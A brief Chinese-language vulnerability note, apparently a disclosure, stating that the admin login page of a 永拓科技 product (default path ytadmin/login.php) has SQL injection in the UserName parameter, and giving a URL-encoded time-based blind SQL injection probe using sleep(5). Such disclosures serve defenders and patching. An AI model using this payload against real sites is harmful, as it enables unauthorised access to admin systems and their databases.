永拓科技后台登录界面SQL注入

永拓科技默认后台为ytadmin/login.php

 

 

UserName参数存在SQL注入

可使用%27%2b(select*from(select(sleep(5)))a)%2b%27进行判断